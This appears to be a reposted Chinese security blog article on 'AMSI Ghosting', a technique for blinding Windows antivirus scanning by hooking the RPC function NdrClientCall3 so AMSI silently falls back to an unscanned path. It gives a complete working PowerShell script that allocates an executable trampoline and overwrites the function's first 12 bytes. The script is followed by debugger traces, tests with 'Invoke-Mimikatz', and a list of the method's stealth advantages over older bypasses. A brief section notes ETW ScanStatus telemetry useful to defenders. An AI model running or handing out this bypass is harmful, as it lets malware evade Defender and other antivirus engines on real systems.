本文探讨了如何通过劫持 AMSI 所依赖的 RPC 层来绕过其扫描逻辑,特别是用于调用远程 AMSI 扫描的 NdrClientCall3
存根。
该技术利用了 AMSI 的 COM 层架构,它通过 RPC 将扫描请求委托给注册的杀毒软件提供商。通过拦截传递给 NdrClientCall3
的参数(这是一个核心的 RPC 编组函数),我们可以在恶意载荷被序列化并发送到杀毒引擎之前将其抑制。
最终结果是,AMSI 扫描看似无害的内容,而实际的有效载荷则保持隐藏。
-
AMSI 组件尝试 扫描内容 -
它试图使用 RPC 与扫描服务通信 -
你的 trampoline 拦截此通信并立即返回,不进行实际扫描 -
AMSI 认为这是一个“成功”并继续执行
与传统的 AMSI 绕过技术不同(这些技术通常涉及修补 AmsiScanBuffer
等函数或设置 amsiInitFailed
等内部标志),这种方法在更低的层次上操作,通过避免对 amsi.dll
本身的任何修改来规避检测。这些旧技术现在通过现代杀毒软件的行为签名和完整性检查被严密监控。
该绕过的核心是 rpcrt4.dll!NdrClientCall3
,这是 RPC 运行时的一个底层组件,负责将函数参数编组成符合协议的格式并将其分派到 RPC 服务器。
AMSI 依赖于自动生成的存根,这些存根最终会调用 NdrClientCall3
与杀毒软件提供商通信。通过挂钩此调用,我们能够以手术般的精度操纵或短路 AMSI 扫描请求。
-
正常 AMSI 操作:
-
AmsiScanBuffer
/AmsiScanString
调用 AMSI 基础设施 -
NdrClientCall3
处理与杀毒引擎的 RPC 通信 -
杀毒软件接收内容,扫描它并返回结果 -
检测到恶意内容时将其阻止
2. AMSI 隐身技术:
-
NdrClientCall3
在内存中被修补 -
不是向杀毒软件发出 RPC 调用,而是重定向到 trampoline -
trampoline 立即返回 S_OK
(成功)但带有错误 -
此特定错误迫使 AMSI 进入其回退路径,RPC 存根永远不会到达杀毒引擎,所有内容都无需实际扫描即可通过
这就是该技术如此有效的原因——它不会禁用 AMSI 或移除钩子(这可能会被检测到)。相反,它通过操纵通信通道来利用 AMSI 自身的内置回退机制,使 AMSI 认为它正常运行,同时阻止任何实际的安全扫描发生。
该方法的技术优势在于它比其他绕过技术更隐蔽,因为它保留了正常操作的外观,同时使扫描失效。
🔁 正常流程
-
参数被编组——要扫描的内容和其他参数被准备传输 -
从 AMSI 基础设施向反恶意软件提供商(Windows Defender 或第三方杀毒软件)发出 RPC 调用 -
反恶意软件引擎分析内容并设置适当的 AMSI_RESULT
值(例如,对于恶意内容设置为AMSI_RESULT_DETECTED
) -
函数返回 S_OK
以指示扫描过程本身成功完成
S_OK
返回值仅表示扫描过程正常运行——这并不意味着内容是安全的。实际的安全判定包含在通过输出参数返回的 AMSI_RESULT
值中。
这是 AMSI 隐身绕过利用的一个重要技术细节。通过返回 S_OK
但阻止实际扫描发生,它欺骗系统认为一切正常,同时绕过了安全检查。
该技术使杀毒软件的存在对 AMSI 基本上不可见。通过针对 NdrClientCall3
并使用 trampoline 钩子,这种绕过在比大多数其他 AMSI 绕过技术更深的层次上操作。
这里的关键创新在于,它不是直接攻击 AMSI 或禁用 Windows 安全功能(这可能会触发警报),而是巧妙地拦截组件之间的通信通道,允许恶意内容“隐身”通过安全控制。
我们没有修补 AMSI 或杀毒软件提供商,我们劫持了 它们之间的桥梁
📡 RPC 转换
这些 API 捕获的相关信息通过称为远程过程调用(RPC)的进程间通信机制转发给 Windows Defender。Windows Defender 分析后返回扫描结果。
在内部,RPC 调用经过
-
rpcrt4.dll!NdrClientCall3()
← 这是构建并向 Defender 服务发送 RPC 请求的实际函数。
🕳️ 绕过 Defender —— AMSI 隐身
Add-Type -TypeDefinition @"
using System;
using System.Runtime.InteropServices;
public class Mem {
[DllImport("kernel32.dll")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32.dll")]
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32.dll")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, UIntPtr dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
public static extern bool FlushInstructionCache(IntPtr hProcess, IntPtr lpBaseAddress, UIntPtr dwSize);
[DllImport("kernel32.dll")]
public static extern IntPtr GetCurrentProcess();
}
"@
$PAGE_EXECUTE_READWRITE = 0x40
$MEM_COMMIT = 0x1000
$MEM_RESERVE = 0x2000
$PATCH_SIZE = 12
# Allocate trampoline: mov eax, 0; ret
$size = [UIntPtr]::op_Explicit(0x1000)
$trampoline = [Mem]::VirtualAlloc([IntPtr]::Zero, $size, $MEM_COMMIT -bor $MEM_RESERVE, $PAGE_EXECUTE_READWRITE)
# Exit if trampoline allocation failed
if($trampoline -eq [IntPtr]::Zero) {
Write-Error "[-] Failed to allocate trampoline."
return
}
# Write hook: mov eax, 0; ret
$hook = [byte[]](0xB8, 0x00, 0x00, 0x00, 0x00, 0xC3)
[System.Runtime.InteropServices.Marshal]::Copy($hook, 0, $trampoline, $hook.Length)
# Flush instruction cache
$len = [UIntPtr]::op_Explicit($hook.Length)
[Mem]::FlushInstructionCache([Mem]::GetCurrentProcess(), $trampoline, $len) | Out-Null
# Get function address
$lib = [Mem]::LoadLibrary("rpcrt4.dll")
$func = [Mem]::GetProcAddress($lib, "NdrClientCall3")
if($func -eq [IntPtr]::Zero) {
Write-Error "[-] Failed."
return
}
# Unprotect target memory
$oldProtect = 0
[Mem]::VirtualProtect($func, [UIntPtr]::op_Explicit($PATCH_SIZE), $PAGE_EXECUTE_READWRITE, [ref]$oldProtect) | Out-Null
# Write patch: mov rax, trampoline; jmp rax
$trampAddr = $trampoline.ToInt64()
$patch = [byte[]](0x48, 0xB8) + [BitConverter]::GetBytes($trampAddr) + [byte[]](0xFF, 0xE0)
[System.Runtime.InteropServices.Marshal]::Copy($patch, 0, $func, $patch.Length)
Write-Host "[+] NdrClientCall3 patched - AMSI Ghosting."
📦 内存操作常量
定义常用的 VirtualAlloc
和 VirtualProtect
标志位:
$PAGE_EXECUTE_READWRITE = 0x40
$MEM_COMMIT = 0x1000
$MEM_RESERVE = 0x2000
$PATCH_SIZE = 12
将内存设置为可读、可写、可执行(RWX),并应用 12 字节的补丁(64 位架构下的mov rax, addr; jmp rax
指令)。
分配跳板函数
您正在分配一个全新的 0x1000 字节的可执行内存页,用于托管您的伪造函数(跳板函数,trampoline)。
$trampoline = [Mem]::VirtualAlloc(...)
编写跳板代码:mov eax, 0;
$hook = [byte[]](0xB8, 0x00, 0x00, 0x00, 0x00, 0xC3)
-
B8 00 00 00 00
=mov eax, 0
; 返回 S_OK (HRESULT 0) -
C3
=ret
; 干净地退出函数
RPC 函数命中
在输出底部,您已在 RPCRT4!NdrClientCall3
处命中断点:
Breakpoint 4 hit
RPCRT4!NdrClientCall3:
00007ff9`2e388060 4cb80000e05c00020000 mov rax,2005CE00000h
这里展示的是 NdrClientCall3
函数的补丁版本。原始函数不会以 mov rax, <address>
开头。
指令 4cb80000e05c00020000
解码为 mov rax, 2005CE00000h
,这表示将你的跳板函数地址加载到 RAX 寄存器。
随后会跳转到该地址,从而将 RPC 调用重定向到你仅返回 0 的简单函数。当该函数执行时,它不会进行正常的 RPC 通信,而是直接跳转到你的跳板代码。
干净版本如下:
发生了什么
修改了 NdrClientCall3
的入口点以重定向到你的跳板函数
-
代码包含 mov eax, 0; ret
-
这有效地短路了 RPC 通信
当 AMSI 尝试使用 RPC 在组件之间通信(可能用于验证检查)时,它会被短路并返回一个"成功"的返回值。
这正是AMSI 隐身绕过的工作原理——原始 NdrClientCall3
函数的前 12 个字节被覆盖为将执行重定向到攻击者控制的跳板函数的代码。原始函数的其余代码仍然存在,但永远不会被执行。
因此,它不会编组并发送扫描请求给杀毒软件提供商,而是立即返回
0
,就像扫描成功且未发现任何问题一样。
AMSI 不会区分"杀毒软件不可用"和"杀毒软件通信被故意篡改"的情况
为什么它比 RET 补丁更好
我们编写了一个12 字节的补丁:mov rax, trampoline jmp rax
并且在控制流防护(Control Flow Guard, CFG)下是安全的:
它不会破坏调用栈 + 避免跳转到意外内存,并保留了基于 rax
的间接调用
🚫 跳板函数的作用
PowerShell → AMSI → NdrClientCall3
↓
[🔀 Trampoline Patch]
↓
return S_OK (HRESULT 0)
↓
AMSI believes it's clean
↓
AV is NEVER reached
这就像调用一个函数并说:“嘿,我调用了它。相信我,它说‘一切正常’。” “这里没有坏东西——继续吧。”尽管从未进行过任何扫描。
跳板补丁行为:我们的补丁劫持了 NdrClientCall3
,强制其立即返回而不是发起实际的 RPC 调用。
-
返回值: rax = 0x80070002
→ERROR_FILE_NOT_FOUND
-
这表明 AMSI 的扫描尝试被静默丢弃
这证实了补丁成功——通常与反恶意软件提供商通信的 RPC 函数已被修改为返回一个强制 AMSI 进入其回退路径的响应。即使 Windows Defender 在系统上处于活动状态,AMSI 也无法再与其正常通信。
被修补的 RPC 函数使 AMSI 表现得好像没有可用的反恶意软件提供商,从而阻止了“Invoke-Mimikatz”字符串被正确分析为潜在的恶意内容。
这正是绕过技术的工作原理——通过操纵 AMSI 和安全提供商之间的通信通道,而不是完全禁用 AMSI。
调用栈模式:
-
正常的 AMSI 扫描流程保持不变: AmsiUtils.ScanContent
→CompiledScriptBlockData.PerformSecurityChecks
-
这证实 PowerShell 仍在尝试执行安全检查,但你的 RPC 拦截阻止了实际的安全判定被正确传达
在分析 AMSI 日志时,我注意到应用补丁后,
ScanResult
如预期出现,但ScanStatus
被设置为2
。
根据 Red Canary 博客 (链接),AMSI 事件的 ScanStatus
值——通常预期为 0
(干净)或 1
(恶意)——在打补丁后发生了变化。这表明 AMSI 的 ETW 遥测可能反映了篡改或绕过活动。
基于对 AMSI 及其与反恶意软件扫描接口交互的研究,扫描行为似乎遵循两种不同的执行路径:
-
主路径 ( ScanStatus = 1
):通过注册的反恶意软件提供商的标准扫描路径。 -
次路径 ( ScanStatus = 2
):当主路径失败时触发的回退机制。
当使用回退路径时,内部 RPC 调用通常会失败,并返回 AMSI 识别的特定错误代码。从 WinDbg 跟踪中,我们观察到:
-
ERROR_NOT_READY (0x80070015)
- 这出现在“自然”回退场景中,当没有可用的杀毒软件时 -
ERROR_FILE_NOT_FOUND (0x80070002)
- 这是使用 AMSI 隐身绕过 时返回的错误代码
当 AMSI 遇到这些特定错误代码时,它会切换到 ScanStatus=2(回退路径)并自动将结果设置为 AMSI_RESULT_NOT_DETECTED,而不执行实际的安全扫描。
回退机制——最初旨在优雅地处理反恶意软件提供商不可用的情况——通过战略性地修补 RPC 函数被 AMSI 隐身技术利用。
🛣️ AMSI 扫描路径 —— 未打补丁
🔹 ScanStatus = 1 (主路径)
-
当 RPC 通信成功 时触发 -
杀毒软件接收扫描请求并返回合法的 -
AMSI_RESULT
→ 可以是AMSI_RESULT_DETECTED
、NOT_DETECTED
或其他 -
这是 正常、功能齐全 的扫描路径
🔸 ScanStatus = 2 (回退路径)
-
当 RPC 失败 并返回特定错误代码时触发: -
ERROR_NOT_READY (0x80070015)
在自然回退场景中,杀毒软件实时保护被禁用。 -
ERROR_FILE_NOT_FOUND (0x80070002)
在 AMSI 隐身绕过中,并始终返回AMSI_RESULT_NOT_DETECTED
-
本质上变成了一个 盲扫描器 —— 没有杀毒软件可见性,在杀毒软件无法访问时用作降级模式
以下是 AMSI 扫描过程中的三种不同状态及其相关状态代码
状态 1:活动反恶意软件(正常操作)
-
ScanStatus: 1 (主路径) -
结果代码: 0x00000000 (成功) -
描述: AMSI 与 Windows Defender 或其他反恶意软件提供商成功通信,后者执行实际的内容扫描 -
行为: 检测并阻止恶意内容;允许合法内容
状态 2:无可用反恶意软件(自然回退)
-
ScanStatus: 2 (回退路径) -
结果代码: 0x80070015 (ERROR_NOT_READY) -
描述: AMSI 无法找到或与任何注册的反恶意软件提供商通信 -
行为: 允许所有内容执行,因为没有进行扫描
状态 3:AMSI 隐身(被利用的回退)
-
ScanStatus: 2 (回退路径) -
结果代码: 0x80070002 (ERROR_FILE_NOT_FOUND) -
描述: AMSI 的通信通道(RPC)被修补以模拟连接失败 -
行为: 尽管存在并处于活动状态的反恶意软件解决方案,所有内容都被允许执行
完整流程比较
-
在所有情况下,PowerShell 都会将“echo‘Invoke-Mimikatz’”传递给 AmsiScanBuffer
1- AMSI 处理:
-
在所有情况下,内部 AMSI 函数都会准备进行扫描
2. RPC 通信:
-
状态 1(活动):RPC 调用成功,参数正常 -
状态 2(无杀毒软件):RPC 调用失败,因为没有注册的提供商 -
状态 3(绕过):RPC 调用被补丁拦截并返回受控错误
3. 路径选择:
-
状态 1:使用主路径 (ScanStatus = 1) -
状态 2 & 3:使用回退路径 (ScanStatus = 2)
4. 扫描结果:
-
状态 1:根据内容变化(通常对于恶意内容为 AMSI_RESULT_DETECTED) -
状态 2:ERROR_NOT_READY (0x80070015) -
状态 3:ERROR_FILE_NOT_FOUND (0x80070002)
5. 最终结果:
-
状态 1:阻止恶意内容执行 -
状态 2 & 3:允许所有内容执行
最关键的洞察是,状态 3(绕过状态)故意激活了 AMSI 的内置回退机制,强制其表现得好像没有可用的安全提供商,即使系统上有一个正在积极运行。
第三方杀毒软件提供商: 对于其他杀毒软件解决方案,架构是类似的。它们注册的 AMSI 提供者 DLL 可能包含完整的扫描逻辑,或者更常见的是,将数据转发给该供应商的安全服务或引擎。
AMSI 隐身绕过在比传统 AMSI 绕过方法更低的抽象层次上操作,通过直接操纵 RPC 通信有效地绕过了安全检查。以下是它的工作原理:
-
PowerShell 发起 AMSI 扫描PowerShell 调用 AMSI 来分析潜在的恶意内容。 -
AMSI 使用 RPC 调用AMSI 内部使用远程过程调用(RPC)与杀毒软件提供商通信。 -
RPC 调用拦截用于这些通信的关键 RPC 函数 NdrClientCall3
被拦截并重定向到自定义的跳板函数。 -
跳板内存修补与修补 amsi.dll
不同,你的跳板函数优雅地拦截并立即返回成功代码(S_OK
或0
),而不执行任何实际的内容检查。 -
AMSI 被中和PowerShell 接收到成功代码并将其解释为“内容干净”,认为杀毒提供商只是不可用。
AMSI 隐身技术的优势
-
更隐蔽的操作:不直接修改 amsi.dll
,显著降低了被检测的风险。 -
没有可疑的 DLL 修补:由于 AMSI DLL 保持未修改,典型的内存或完整性检查无法检测到篡改。 -
完全绕过杀毒软件层:完全规避了依赖 AMSI 的杀毒软件检查层。 -
通用 RPC 兼容性:对任何 AMSI 兼容的杀毒软件都有效,包括依赖 RPC 的第三方实现。
https://github.com/andreisss/Ghosting-AMSI
原文始发于微信公众号(securitainment):从 AMSI 隐身:切断 RPC 以绕过杀毒软件
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论